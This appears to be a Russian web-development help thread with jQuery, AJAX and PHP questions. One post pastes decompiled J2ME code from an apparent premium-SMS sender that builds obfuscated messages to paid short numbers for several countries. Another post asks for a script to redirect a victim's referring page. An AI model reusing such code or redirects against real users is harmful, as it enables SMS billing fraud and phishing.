function stscit(p){var d=p.scpx;p.scid=0;with(stgme(p).mscm[p.pver])if(d){var sp=stgobj(p.ids+"SP"),sn=stgobj(p.ids+"SN"),sc=stgobj(p.ids+"SC"),st=p.pver?sc.scrollTop:sc.scrollLeft,mx=p.pver?s c.scrollHeight-sc.offsetHeight:sc.scrollWidth-sc.offsetWidth;if(st==0&&d<0||st==mx&&d>0)return;if(st==(d>0?0:mx))(d>0?sp:sn).rows[0].cells[0].childNodes[0].src=simg[d>0?0:1][1];st+=d;if(d>0?(st>=mx):(st<=0)){(d>0?sn:sp).rows[0].cells[0].childNodes[0].src=simg[d>0?1:0][0];st=d>0?mx:0;}else p.scid=setTimeout("stscit(st_ms["+p.mei+"].ps["+p.ppi+"]);",10);p.pver?(sc.scrollTop=st):(sc.scrollLeft=st);} }
function stgsc(x,y,p){var sc=stgobj(p.ids+"SC"),ms=p.pver?stgct()+stgch()-y-stgspc(p,1):stgcl()+stgcw()-x-stgspc(p,3);return (p.pver?sc.scrollHeight:sc.scrollWidth)+2*p.ipbw>ms?ms:0;}
function stssc(s,p){if(s>=0){if(typeof(p.scid)=="undefined")p.scid=0,p.scsu=0,p.scsd=1;var l=stglay(p),sp=stgobj(p.ids+"SP"),sn=stgobj(p.ids+"SN"),sc=stgobj(p.ids+"SC");(p.pver?sp.parentNode:sp).parentNode.style.displ ay=(p.pver?sn.parentNode:sn).parentNode.style.disp lay=s?'':'none';sc.style.overflow=s?"hidden":"";if(s)s=Math.max(s-(p.pver?sp.offsetHeight+sn.offsetHeight:sp.offsetW idth+sn.offsetWidth)-2*p.ipbw-2*p.psds-4*p.pspc,1);if((p.pver?sc.style.height:sc.style.wi dth)==(s?s+'px':'')) return;p.pver?(sc.style.height=s?s+'px':''):(sc.st yle.width=s?s+'px':'');with(stgme(p).mscm[p.pver])if(s){sp.rows[0].cells[0].childNodes[0].src=simg[0][(p.pver?sc.scrollTop:sc.scrollLeft)?1:0];sn.rows[0].cells[0].childNodes[0].src=simg[1][(p.pver?sc.scrollTop!=sc.scrollHeight-sc.offsetHeight:sc.scrollLeft!=sc.scrollWidth-sc.offsetWidth)?1:0];}}}
function stwels(c,p){var m=stgme(p);if(!st_load||nNN4||nOP||p.isst) return;if(m.mhds&&!nIEM) stwtag("SELECT",c,p);if(m.mhdo&&(nIE4||navigator.appVersion.indexOf("Safari")>=0)) {stwtag("OBJECT",c,p);if(nIE4)stwtag("APPLET",c,p);}if(m.mhdi&&(nIEM||nIEW&&nVER<5.5)) stwtag("IFRAME",c,p);}
function stwtag(tg,c,p){var es=nIE?document.all.tags(tg):document.getElementsB yTagName(tg);for(var j=0;j<es.length;++j){var f=0,e=es.item(j);for(var t=e.offsetParent;t;t=t.offsetParent)if(t.id&&t.id.indexOf("Stm")>=0)f=1;if(f)continue;else if(stwover(e,p)){if(e.visLevel)e.visLevel+=c;else e.visLevel=c;if(e.visLevel==-1){if(typeof(e.visSave)=="undefined")e.visSave=e.style.visibility;e.style.visibility="hidden";if(typeof(mywehd)!='undefined'&&mywehd(e))return;}else if(!e.visLevel){if(typeof(mywesh)!='undefined'&&mywesh(e))return;e.style.visibility=e.visSave;}}}}
function stwover(e,p){var l=0,t=0,w=e.offsetWidth,h=e.offsetHeight;w?(e._wd= w):(w=e._wd);h?(e._ht=h):(h=e._ht);while(e)l+=e.of fsetLeft,t+=e.offsetTop,e=e.offsetParent;return l<p.rc[2]+p.rc[0]&&l+w>p.rc[0]&&t<p.rc[3]+p.rc[1]&&t+h>p.rc[1];}
function sthili(m,i){with(m)if(i.ityp!=6&&stcurl(i,midn&0x02000000)){if(midn&0x01000000)i.iurl="";do{if(midn&2)i.itxc[0]=i.itxc[1];if(midn&4){i.itxf[0]=i.itxf[1];i.itxd[0]=i.itxd[1];}if(midn&8)i.ibgc[0]=i.ibgc[1];if(midn&16){i.ibgi[0]=i.ibgi[1];i.ibgr[0]=i.ibgr[1];}if(midn&32)i.ibdc[0]=i.ibdc[1];if(midn&64)i.iicn[0]=i.iicn[1];if(midn&128)i.iimg[0]=i.iimg[1];if(midn&256)i.iarr[0]=i.iarr[1];i=stgpar(i).par;}while(i&&(midn&0x04000000));}}
function stcurl(i,c){var t=stgtgt(i);var u=t?t.location.href:"",h=i.iurl;if(!c){u=u.toLowerCase();h=h.toLowerCase ();}if(u&&h){if(!h.indexOf("file:////"))h=h.replace(/[\/]{4,}/,"//");else if(h.charAt(0)=="/"){var re=/(file:\/{2,}[^\/]+\/|http:\/\/[^\/]+\/|https:\/\/[^\/]+\/)/;re.exec(u);var s=RegExp.$1,n,r;r=s&&!u.indexOf(s)?s.substr(0,s.length-1):"";h=r?r+h:"";}else if(!stabs(h)){h=u.substr(0,u.lastIndexOf("/")+1)+h;}}while(h.indexOf("/./")>0)h=h.replace(/\/\.\//,"/");while(h.indexOf("/../")>0)h=h.replace(/[^\/]*\/\.\.\//,"");return u&&h&&(u==h||u==h+"/"||stILNK&&u==h.substr(0,Math.max(0,h.indexOf("?")))||stILOC&&h==u.substr(0,Math.max(0,u.indexOf("?"))));}

Grema
27.12.2009, 17:25
Боже.. можно пользоваться тегом "[ CODE ]" (без пробелов и ковычек) ?
будет намного красивее



ТЕСТ!

astrologer
27.12.2009, 17:30
rizen, это код библиотеки dhtml menu компании sothink примерно пятилетней давности. Используй более новые версии библиотек или не привязывайся к библиотечному коду. Сейчас разумнее всего удалить это напрочь и написать своё.

LStr1ke
27.12.2009, 17:40
Ппц и это все ради того скудного меню?
Пипеееец. Можно обойстись гарааааздо меньшим объемом и спокйоной кроссбразерностью

DTW
27.12.2009, 22:23
Вопрос как мне получить содержание id?
как сделать что блок посередине оставался в поле.

Проблема какой бы блок не перетащил все время показывает id="x1"

$(function() {


$(".xx").draggable({ revert: 'invalid'});



$(".setka").droppable({
activeClass: 'ui-state-hover',
// hoverClass: 'ui-state-active',
drop: function(event, ui) {
var sh = $(".xx").attr('id');
alert(sh);

// $("#"+sh).draggable( 'destroy' );



}

});

});






<div class="xx" id="x1">Sample1</div>
<div class="xx" id="x2">Sample2</div>
<div class="xx" id="x3">Sample3</div>
<div class="xx" id="x4">Sample4</div>

<table cellpadding="0" class="cardpole" cellspacing="0">
<tr>
<td class="setka">1</td>
<td class="setka">2</td>
<td class="setka">3</td>
</tr>

<tr>
<td class="setka">4</td>
<td class="setka" >5</td>
<td class="setka">6</td>
</tr>

<tr>
<td class="setka">7</td>
<td class="setka">8</td>
<td class="setka">9</td>
</tr>

</table>

mff
27.12.2009, 23:09
rizen вам делать нечего больше?

diGriz
27.12.2009, 23:37
2 DTW

var id = ui.draggable.attr('id');
alert(id);

DTW
27.12.2009, 23:44
спс огромное

rizen
28.12.2009, 15:16
rizen, это код библиотеки dhtml menu компании sothink примерно пятилетней давности. Используй более новые версии библиотек или не привязывайся к библиотечному коду. Сейчас разумнее всего удалить это напрочь и написать своё.
Я бы с большим удовольствием заменила этот скрипт, но чем? Вы можете помочь?

Ппц и это все ради того скудного меню?
Пипеееец. Можно обойстись гарааааздо меньшим объемом и спокйоной кроссбразерностью
Я же написала, что сайт делался в 2004 году, я совсем не веб дизайнер, и даже совсем не программист. Но сайтом приходится заниматься самой, чем можно мне помочь, кроме пипеца и прочих удивлений в моей неосведомленности?
Вроде в этой теме обещана помощь...

rizen
28.12.2009, 15:21
rizen вам делать нечего больше?
Меня на этом форуме все норовят пнуть. Попросили написать код скрипта. Как я его должна была написать по другому? Лучше бы помогли, если считаете себя знатоком.

DTW
29.12.2009, 02:31
Возникла другая проблема как получить id корзин



$(".musor").droppable({
activeClass: 'ui-state-hover',
// hoverClass: 'ui-state-active',
drop: function(event, ui) {
var pole ;
var sh = ui.draggable.attr('id');
// alert(sh);

$('div[id='+sh+']').draggable('disable');

alert(pole);
// sendCord(sh);


},tolerance: 'fit'
});




Это мусорники <div class="musor" id="1">Musornik</div> <div class="musor" id="2">Musornik</div> как из событие drop вытащить знач id для ui.draggable.attr можна так для droppable

satana-fu
29.12.2009, 22:52
в папке N два файла, 1.html и 2.html, надо чтоб при переходе на 1.html яваскрипт удалял файл 2.html

примерно такой функционал, но на javascript

<?php
error_reporting (0);
$filename = '2.html';
unlink($filename);
?>

PS. нужен именно javascript, потому что хостинг с файлом 1.html не поддерживает php

LStr1ke
29.12.2009, 22:56
яваскрипт удалял файл 2.html
Забудь

phpdreamer
29.12.2009, 23:38
javascript - язык браузера
он не может работать с файловой системой сервера без использования языков сервера

Vlad&slav
30.12.2009, 00:20
http://moduls.allzona.net/check/
Как сделать чтобы скрипт дописывал адрес в поля
work_px
anonym_px
elite_px

И если можете, подскажите почему парсинг не заносит в форму, хотя
http://moduls.allzona.net/check/grab.php?url=http://aliveproxy.com/ru-proxy-list/
Возвращяет нужный результат

LStr1ke
30.12.2009, 15:14
http://moduls.allzona.net/check/
Как сделать чтобы скрипт дописывал адрес в поля
work_px
anonym_px
elite_px

И если можете, подскажите почему парсинг не заносит в форму, хотя
http://moduls.allzona.net/check/grab.php?url=http://aliveproxy.com/ru-proxy-list/
Возвращяет нужный результат

Ошибки:
JavaScript - http://moduls.allzona.net/check/
Inline script compilation
Syntax error at line 158 while loading:
expected ')', got <string>
JavaScript

Uncaught exception: ReferenceError: Undefined variable: tmpProxyGrab
Error thrown at unknown location in <anonymous function>(event):
/* no source available */
called from unknown location in program code:
/* no source available */

----
Четсно говоря впадлу разбирать твой код. Попробуй это:

<html>
<head>
<script>
function CreateRequest()
{
var Request = false;

if (window.XMLHttpRequest)
{
//Gecko-совместимые браузеры, Safari, Konqueror
Request = new XMLHttpRequest();
}
else if (window.ActiveXObject)
{
//Internet explorer
try
{
Request = new ActiveXObject("Microsoft.XMLHTTP");
}

catch (CatchException)
{
Request = new ActiveXObject("Msxml2.XMLHTTP");
}
}

if (!Request)
{
alert("Невозможно создать XMLHttpRequest");
}

return Request;
}
/*
Функция посылки запроса к файлу на сервере
r_method - тип запроса: GET или POST
r_path - путь к файлу
r_args - аргументы вида a=1&b=2&c=3...
r_handler - функция-обработчик ответа от сервера
*/
function SendRequest(r_method, r_path, r_args, r_handler)
{
//Создаём запрос
var Request = CreateRequest();

//Проверяем существование запроса еще раз
if (!Request)
{
return;
}

//Назначаем пользовательский обработчик
Request.onreadystatechange = function()
{
//Если обмен данными завершен
if (Request.readyState == 4)
{
//Передаем управление обработчику пользователя
r_handler(Request);
}
}

//Проверяем, если требуется сделать GET-запрос
if (r_method.toLowerCase() == "get" && r_args.length > 0)
r_path += "?" + r_args;

//Инициализируем соединение
Request.open(r_method, r_path, true);

if (r_method.toLowerCase() == "post")
{
//Если это POST-запрос

//Устанавливаем заголовок
Request.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=utf-8");
//Посылаем запрос
Request.send(r_args);
}
else
{
//Если это GET-запрос

//Посылаем нуль-запрос
Request.send(null);
}

Request.onreadystatechange = function()
{
//Если обмен данными завершен
if (Request.readyState == 4)
{
if (Request.status == 200)
{
//Передаем управление обработчику пользователя
r_handler(Request);
}
else
{
document.getElementById("result").innerHTML = "Ошибка запроса";
}
}
else
{
document.getElementById("result").innerHTML = "Загрузка...";
}

}
}
function getSource(file,data,container)
{
var Handler = function(Request)
{
document.getElementById(container).innerHTML = Request.responseText;
}
SendRequest("GET",file,"url="+data,Handler);
}
</script>
</head>
<body>
<div id="result">
</div>
<input type="button" onclick="getSource('grab.php','http://aliveproxy.com/ru-proxy-list/','result');" />
</body>
</html>

Vlad&slav
30.12.2009, 16:46
Сортировка по полям не актуальна, я неск часов мучал гугл и написал вроде.


LStr1ke спасибо за помошь по второй части) ;)

geforse
02.01.2010, 21:20
Ребят помогите с выводом текста на экран

Нужно чтобы Ajax проверял, появилось ли что-то новое в файле, если да, то выводил это на экран.

Сам я долго гуглил, удалось лишь переписать чужой код, который выводит на экран сообщения (не из файла)

index.php

<?php
Header("Content-Type: text/html; charset=utf-8");
?>
<!-- Указываем DOCTYPE -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>PhpAjaxChat</title>
<!-- У нас всё работает в UTF-8 -->
<meta http-equiv="content-type" content="text/html; charset=UTF-8">

<style>
* {
margin: 0;
padding: 0;
}

body {
font: normal normal normal 16px "Trebuchet MS", Arial, Times;
color: #000000;
}

/* Важное свойство */
.chat {
height: 500px;
overflow: auto; /* Это позволяет отображать полусу прокрутки */
position: relative; /* Это позволяет съезжать тексту в слое, не растягия страницу */
text-align: left;
border: solid #818181 1px;
}

.chat div {
position: absolute; /* Страница остаётся тогоже размера */
}

.chat span {
display: block;
}

input[type=text],textarea {
width: 100%;
font: normal normal normal 16px "Trebuchet MS", Arial, Times;
border: solid #818181 1px;
}

/* Для CSS 3 */
.r4 {
-moz-border-radius: 4px;
-khtml-border-radius: 4px;
-webkit-border-radius: 4px;
border-radius: 4px;
}
</style>

<!-- Подключаем jQuery -->
<script type="text/javascript" src="jquery.js"></script>

<!-- Сам код нашего чата -->
<script type="text/javascript">

$(document).ready(function ()
{
setInterval("Load();", 2000);
});

var load_in_process = false;

function Load() {
if(!load_in_process)
{
load_in_process = true;
$.post("ajax.php",
{
act: "load",
rand: (new Date()).getTime()
},

function (result) {
eval(result);
$(".chat").scrollTop($(".chat").get(0).scrollHeight);
load_in_process = false;
});
}
}
</script>

<body>
<div style="padding: 100px;">
<!-- Вот в этих 2-х div'ах будут идти наши сообщения из чата -->
<div class="chat r41">
<div id="window_log"><!-- Сюда мы будем добавлять новые сообщения --></div>
</div>

</div>
</body>
</html>



ajax.php

<?php
Header("Cache-Control: no-cache, must-revalidate");
Header("Pragma: no-cache");
Header("Content-Type: text/javascript; charset=utf-8");
if(isset($_POST['act']))
{

$message = 'test';
echo 'var chat = $("#window_log"); chat.append("<span>' . $message . '</span>");';
}
?>


С новым годом)

Deathdreams
03.01.2010, 00:35
$message = 'test';

$message = file_get_contents('file_with_message');

geforse
03.01.2010, 10:16
$message = 'test';

$message = file_get_contents('file_with_message');

Уже пробовал, не работает :)
Да и тогда постоянно будет выводится весь файл целиком, а нужно только последнюю строку.

Можно конечно файл в массив и проверять изменился ли массив или нет, но как это на Ajax осуществить :confused:

Advanced
03.01.2010, 13:39
как заставить jquery И mootools работать вместе?

DTW
06.01.2010, 04:28
Надо что она все время делая проверку
на последнее изменение в пхп документе.
Что менять знать поля и вставлять картинку.

if($cards = Seecards())
echo $str= '{pos:'.$cards["pos"].',n:'.$cards["n"].',type:'.$cards["pos"].'}';



function SeeOnecard()
{
var $card = ReturnArray();
// alert(card.pos)
var $p = $(".setka").attr("id");

$('td[id='+$card.pos+']').html(
"<div class='card' > <img class='mini' src='card/"+$card.type+"_"+$card.n+".jpg'/> </div>" );

}

function ReturnArray()
{
var rezult;
$.ajax({ async: false,
url: 'game.php',
data: 'id=card',
dataType:'json',
success: d
});

function d(json){

rezult = json;
}

return rezult;
}




<div class="pole" id="0"></div>
<div class="pole" id="1"></div>
<div class="pole" id="2"></div>



Решил как..
Есть вопрос
как лючше возращать из бд 1карту в массиве
или возращать массив карт ?

ufalog
07.01.2010, 14:21
что примерно делают ети строки в джаве приложение

R = new String[7];

R[0] = a(0x12e598f, 1);

R[1] = a(0x12e76ca, 1);

R[2] = a(0x12e62cd, 1);

R[3] = a(0x12e684c, 1);

R[4] = a(0x12e7d9a, 1);

R[5] = a(0x12e7e0c, 1);

R[6] = a(0x12e7f74, 1);

b3
07.01.2010, 15:05
Строка из 7 символов, каждый символ обрабатывается функцией a() с 2-мя параметрами. В качестве первого параметра передается Hex

programming
07.01.2010, 16:24
Помогите пожалуйста составить на JS проверку оставшихся символов в textarea.
Если вводятся латинские символы, то всего можно ввести 160 символов, если русские, то 70 символов. И под textarea должно выводиться сообщение "осталось 160 символов" и так до 0 при вбивании в textarea.

olishort
07.01.2010, 16:56
Помогите пожалуйста составить на JS проверку оставшихся символов в textarea.
Если вводятся латинские символы, то всего можно ввести 160 символов, если русские, то 70 символов. И под textarea должно выводиться сообщение "осталось 160 символов" и так до 0 при вбивании в textarea.

вроде то. jquery юзай.
http://www.anon-design.se/demo/maxlength-with-jquery

REBUUS
09.01.2010, 01:05
<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/1bOqXOTYeh8&hl=ru_RU&fs=1&rel=0"></param>
<param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/1bOqXOTYeh8&hl=ru_RU&fs=1&rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed>
</object>

а вариант не перегружая страницу видео из ютуб менять при нажатие на ссылку ява скриптом или пхп , какой ни будь функцией, на пример:
<a href="domen/video/" onClick="video(url);"> ссылка</a>

djpasica
09.01.2010, 16:06
нужен JS который показивает Московское время с секундами

ufalog
10.01.2010, 02:15
как class генерирует значение 101648739 (text) который уходит на номер 8355







public final void run()
{
Object localObject2;
try
{
this.P = "sms://" + this.am;
(localObject2 = (TextMessage)(localObject1 = (MessageConnection)Connector.open(this.P)).newMess age("text")).setPayloadText(this.Q);
((MessageConnection)localObject1).send((Message)lo calObject2);
((MessageConnection)localObject1).close();
}
catch (Exception localException)
{
localObject2 = new Alert(q, r, this.at, AlertType.ERROR);
this.N.a.setCurrent((Alert)localObject2, this.as);
return;
}
this.X.setString("");
this.Y.setString("");
this.Z.setString("");
Object localObject1 = new Alert(s, t, this.au, AlertType.INFO);
this.N.a.setCurrent((Alert)localObject1, this);
}

private boolean b(String paramString)
{
for (int i1 = 0; i1 < this.R.length; ++i1)
if (this.R[i1].equals(paramString))
return true;
return false;
}

public final void b()
{
try
{
this.an = this.N.getAppProperty(this.U + "-ID");
}
catch (Exception localException)
{
this.an = null;
}
if ((this.an == null) || (this.an.equals("")) || (this.an.equals("{ID}")))
this.an = this.T;
else
this.an = this.T + this.an;
Object localObject;
if ((localObject = this.V.get(this.N.e)) != null)
this.am = localObject.toString();
if ((localObject = this.W.get(this.N.e)) != null)
this.ao = localObject.toString();
if ((this.am != null) && (this.ao != null) && (b(this.am)))
{
String str = this.an;
localObject = this;
if ((((str = str.toLowerCase()).indexOf(((c)localObject).T) >= 0) ? 1 : 0) == 0)
this.an = this.T;
}
else
{
this.am = this.S;
this.an = this.T;
this.ao = "3";
}
if (!(this.an.equals(this.T + "1")))
return;
this.an = this.T;
}

c(Main paramMain)
{
super(p);
this.N = paramMain;
M = paramMain.a("/ops");
this.R = new String[7];
this.R[0] = a(19814799, 1);
this.R[1] = a(19822282, 1);
this.R[2] = a(19817165, 1);
this.R[3] = a(19818572, 1);
this.R[4] = a(19824026, 1);
this.R[5] = a(19824140, 1);
this.R[6] = a(19824500, 1);
this.S = this.R[0];
if (a("canvas"))
this.U = "iSMS";
long l1 = System.currentTimeMillis();
long l2 = l1 + 1L;
long l3 = 0L;
while (l3 < 10L)
{
long l4 = 0L;
while (l4 < 10L)
{
l2 += l4 + l3;
l4 += 1L;
}
l3 += 1L;
}
l2 = l2 - l1 - 800L;
this.T = String.valueOf(l2) + "6";
this.ap = "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449, 2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8 ;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;";
this.V = new Hashtable();
this.W = new Hashtable();
String str1 = "";
int i2 = 0;
paramMain = 0;
for (int i1 = 0; i1 < this.ap.length(); ++i1)
{
if (this.ap.charAt(i1) == ',')
{
if (paramMain == 0)
str1 = this.ap.substring(i2, i1);
if (paramMain == 1)
{
String str2 = this.ap.substring(i2, i1);
this.V.put(str1, str2);
}
++paramMain;
i2 = i1 + 1;
}
if (this.ap.charAt(i1) != ';')
continue;
String str3 = this.ap.substring(i2, i1);
this.W.put(str1, str3);
i2 = i1 + 1;
paramMain = 0;
}
b();
this.X = new TextField(u, this.aa, 15, 0);
this.Y = new TextField(v, this.ab, 15, 3);
this.Z = new TextField(w, this.ac, 110, 0);
append(this.X);
append(this.Y);
append(this.Z);
this.ad = new Command(x, 7, 1);
this.ag = new Command(y, 4, 1);
this.ah = new Command(z, 4, 1);
this.ai = new Command(A, 2, 1);
this.aj = new Command(A, 2, 1);
this.ak = new Command(A, 2, 1);
this.ae = new Command(B, 5, 1);
this.af = new Command(C, 5, 1);
this.al = new Command(e, 5, 1);
addCommand(this.ag);
addCommand(this.af);
addCommand(this.al);
setCommandListener(this);
try
{
this.at = Image.createImage("/error.png");
this.au = Image.createImage("/info.png");
return;
}
catch (IOException localIOException)
{
}
}

public final void commandAction(Command paramCommand, Displayable paramDisplayable)
{
if (paramDisplayable == this)
{
if (paramCommand == this.ag)
{
paramCommand = "";
this.aa = this.N.b(this.X.getString());
this.ab = this.Y.getString();
this.ac = this.N.b(this.Z.getString());
this.aa = this.aa.replace('?', '_');
this.aa = this.aa.replace(':', '_');
this.aa = this.aa.trim();
this.ac = this.ac.trim();
if (this.aa.length() == 0)
paramCommand = paramCommand + D;
if (this.ab.length() == 0)
paramCommand = paramCommand + E;
if ((this.ab.length() > 0) && (this.ab.length() < 10))
paramCommand = paramCommand + F;
if (this.ac.length() == 0)
paramCommand = paramCommand + G;
paramDisplayable = 1;
for (int i1 = 0; i1 < this.aa.length(); ++i1)
{
if ("0123456789".indexOf(this.aa.charAt(i1)) != -1)
continue;
paramDisplayable = 0;
break;
}
if ((this.aa.length() > 0) && (this.aa.length() < 5) && (paramDisplayable != 0) && (a(this.aa)))
paramCommand = paramCommand + H;
if ((paramCommand.length() > 0) && (a(paramCommand.toString())))
{
Alert localAlert = new Alert(q, paramCommand, this.at, AlertType.ERROR);
this.N.a.setCurrent(localAlert, this);
return;
}
if (this.ab.charAt(0) == '+')
this.ab = this.ab.substring(1, this.ab.length());
if (this.aa.charAt(0) == '+')
this.aa = this.aa.substring(1, this.aa.length());
this.aa = this.aa.replace(' ', '-');
if (paramDisplayable != 0)
i2 = 15;
else
i2 = 11;
if (this.aa.length() > i2)
this.aa = this.aa.substring(0, i2);
this.Q = this.an + " " + this.aa + " " + this.ab + " ";
int i2 = 160 - this.Q.length();
if (this.ac.length() > i2)
this.ac = this.ac.substring(0, i2);
paramCommand = "";
for (paramDisplayable = 0; paramDisplayable < this.ac.length(); ++paramDisplayable)
if (" 1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdf ghjklzxcvbnm.,!\"@+-:;$?()*'".indexOf(this.ac.charAt(paramDisplayable)) != -1)
paramCommand = paramCommand + this.ac.charAt(paramDisplayable);
else
paramCommand = paramCommand + " ";
this.ac = paramCommand;
paramCommand = "";
for (paramDisplayable = 0; paramDisplayable < this.aa.length(); ++paramDisplayable)
{
if (" 1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdf ghjklzxcvbnm.,!\"@+-:;$?()*'".indexOf(this.aa.charAt(paramDisplayable)) == -1)
continue;
paramCommand = paramCommand + this.aa.charAt(paramDisplayable);
}
this.aa = paramCommand;
if ((this.N.e.equals("ru")) || (this.N.e.equals("ua")))
paramDisplayable = this.an;
else
paramDisplayable = "dx" + this.an;
this.Q = paramDisplayable + " " + this.aa + " " + this.ab + " " + this.ac;
this.as = new Form(p);
this.as.append(u + " " + this.X.getString() + "\n");
this.as.append(v + " " + this.Y.getString() + "\n");
this.as.append(w + " " + this.Z.getString() + "\n");
this.as.addCommand(this.aj);
this.as.addCommand(this.ah);
this.as.addCommand(this.ae);
this.as.addCommand(this.ad);
this.as.setCommandListener(this);
this.N.a.setCurrent(this.as);
return;
}
if (paramCommand == this.af)
{
this.ar = new Form(C);
this.ar.append(I);
this.ar.addCommand(this.ak);
this.ar.setCommandListener(this);
this.N.a.setCurrent(this.ar);
return;
}
if (paramCommand == this.al)
{
paramDisplayable = this;
(paramCommand = this.N.c).a = paramDisplayable;
this.N.a.setCurrent(this.N.c);
return;
}
}
if ((paramDisplayable == this.aq) && (paramCommand == this.ai))
{
this.N.a.setCurrent(this.as);
return;
}
if ((paramDisplayable == this.ar) && (paramCommand == this.ak))
{
this.N.a.setCurrent(this);
return;
}
if (paramDisplayable != this.as)
return;
if (paramCommand == this.ah)
{
this.O = new Thread(this);
this.O.start();
return;
}
if (paramCommand == this.aj)
{
this.N.a.setCurrent(this);
return;
}
if (paramCommand == this.ae)
{
this.aq = new Form(B);
if (this.N.e.equals("am"))
this.aq.append(J + K + this.ao + " AMD.");
else if (this.N.e.equals("ge"))
this.aq.append(J + K + this.ao + " GEL.");
else if (this.N.e.equals("az"))
this.aq.append(J + K + this.ao + " AZN.");
else if (this.N.e.equals("tj"))
this.aq.append(J + K + this.ao + " USD.");
else
this.aq.append(J + M + "\n\n" + K + this.ao + L);
this.aq.addCommand(this.ai);
this.aq.setCommandListener(this);
this.N.a.setCurrent(this.aq);
return;
}
if (paramCommand != this.ad)
return;
(this = this.N).destroyApp(false);
return;
}

public static void c()
{
try
{
RecordStore.deleteRecordStore("isms.lng");
RecordStore localRecordStore = RecordStore.openRecordStore("isms.lng", true);
String str = a;
byte[] arrayOfByte;
try
{
arrayOfByte = str.getBytes("UTF-8");
}
catch (UnsupportedEncodingException localUnsupportedEncodingException)
{
arrayOfByte = str.getBytes();
}
if (arrayOfByte != null)
localRecordStore.addRecord(arrayOfByte, 0, arrayOfByte.length);
localRecordStore.closeRecordStore();
return;
}
catch (Exception localException)
{
}
}

private static String a(int paramInt1, int paramInt2)
{
return String.valueOf(paramInt1 ^ 9911446 << 1);
}
}

MaTpOc
10.01.2010, 10:53
Помогите дописать чтобы имеги вертелись на странице
:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=1024; y4=768; x5=1024; y5=768; DI=document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterv al('A()',5); void(0)

b3
10.01.2010, 18:05
Вопрос к тем кто на jQuery, дайте самый простой пример кода загрузки 1-го файла через ХТМЛ форму с progressbar

Pashkela
10.01.2010, 19:24
https://forum.antichat.ru/thread100550.html

m0Hze
11.01.2010, 14:40
Собственно вот вопрос по jquery+Json.
Нужно выловить список сообщений пользователя,и первый вопрос заключаеться в том как правильно сформировать конструкцию json для данных вида:

От: Юзверь1
Тема: Привет
Сообщение: Привет, это юзверь 1
От: Юзверь 2
Тема: Пока
Сообщение: Пока,это был Юзверь 2
....

Как бы это все в json выглядело лучше всего?
Вопрос нумбер ту.
Как затем правильно отловить и выкинуть на экран все эти сообщения.Спасибо за помощь,лучше всего код(можно даже приmерный,но в jquery я чтото никак не раберусь :))

m0Hze
11.01.2010, 15:06
Пока что сделал так:

({
"messages": [
{
"from": "User1",
"subject": "Leo <3 Kong Wubba",
"body": "Кагбе привет"
},
{
"from": "User1",
"subject": "Hello,I'm kaka",
"body": "привет,хотел познакомица!1"

}
]
})


$(document).ready(function(){
$.getJSON("ajax.html",
function(data){
$.each(data.messages, function(i,item){
$("#exp").append('From: ' + item.from + ' Subj: '+ item.subject +' Messg: '+ item.body +'<br/>');
});
});
});

Есть варианты лучше?

m0Hze
11.01.2010, 16:43
тэкс, учим jquery :)
Вона чо оно мужики я наколякол:

$(document).ready(function(){
$('#message').click(function(){
$.getJSON("ajax.php?action=pmlist",
function(data){
$.each(data.Messages, function(i,item){
$("#listmsg").append('<p>From: ' + item.muserfrom + ' Subj: '+ item.msubj +' Messg: '+ item.mbody +'</p>');
});
});
})
});

<a href="#" id="message">Показать</a><div id="listmsg"></div>
Чо сдалать то нужно мужики,так это,запоминание.Тоесть,есл уже мы кликнули показать,то следующим шагом может быть только Скрыть.Ну сменить Показать на Скрыть это то я могу,а вот как сделать запоминание? =(
Пытался я var i = true; Если уже клик был,так оно сцука сбрасываеться при новом евенте на поле.Так что прошу помосчи.

djpasica
11.01.2010, 22:57
нужен JS который показивает Московское время с секундами

[Life]
11.01.2010, 23:22
Где можно почитать про всплывающие окна,как на античате.
Тоесть не к отдельной ссылке вспл.окно,а к каждому слову как это здесь реализовано(например античат,xss,дедик вызвают всплывающее окно).
?

mff
14.01.2010, 18:13
Подскажите, у Location есть свойство target ? Нужно чтобы страничка в новом окне открывалась. Спасибо.

j0ker13
14.01.2010, 19:41
2m0Hze
toggleClass
esli pravil'no ponyal tebya)

2mff
window.open ne variant?

2djpasica
h__p://www.cyberforum.ru/javascript/thread11007.html
ono?)

вопрос) устал думать(
на страничке 2 фреима. у одного ид=123. грузит с того же домена

$("#123").ready(function(){
aa=$("#123").contents().find("#div").html();
alert(aa);
})

нужно содержимое ид=div
алерт выводит нулл(
в чем трабла?

GlooK
14.01.2010, 20:20
Подскажите, у Location есть свойство target ? Нужно чтобы страничка в новом окне открывалась. Спасибо.
Нету. Необходимо использовать JS:
window.open("http://ya.ru/", "Yandex")

mff
14.01.2010, 23:24
GlooK, спасибо!

mff
14.01.2010, 23:25
j0ker13, GlooK, спасибо!

Mapkyc_
16.01.2010, 02:49
Ребята не подскажите js, нужно чтобы сайт с которого перешли на мой сайт редиректнулся на нужный мне. Например кидаю камуто в приват ссылку он на нее заходит и в этот момент редиректится сайт с его личкой.

GlooK
16.01.2010, 08:19
Ребята не подскажите js, нужно чтобы сайт с которого перешли на мой сайт редиректнулся на нужный мне. Например кидаю камуто в приват ссылку он на нее заходит и в этот момент редиректится сайт с его личкой.
Не совсем понятно.
Возможно это:

<script>window.location.href = "http://mail.ru";</script>

suser
16.01.2010, 11:46
Как сделать статус бар для цикла, тесть

for($i=0; $i<=10; $i++)
{
sleep(3);
echo $i."<br>"
}
Нужно чтобы на страничке двигался прогрес бар

flush() не предлогать.

Jekel
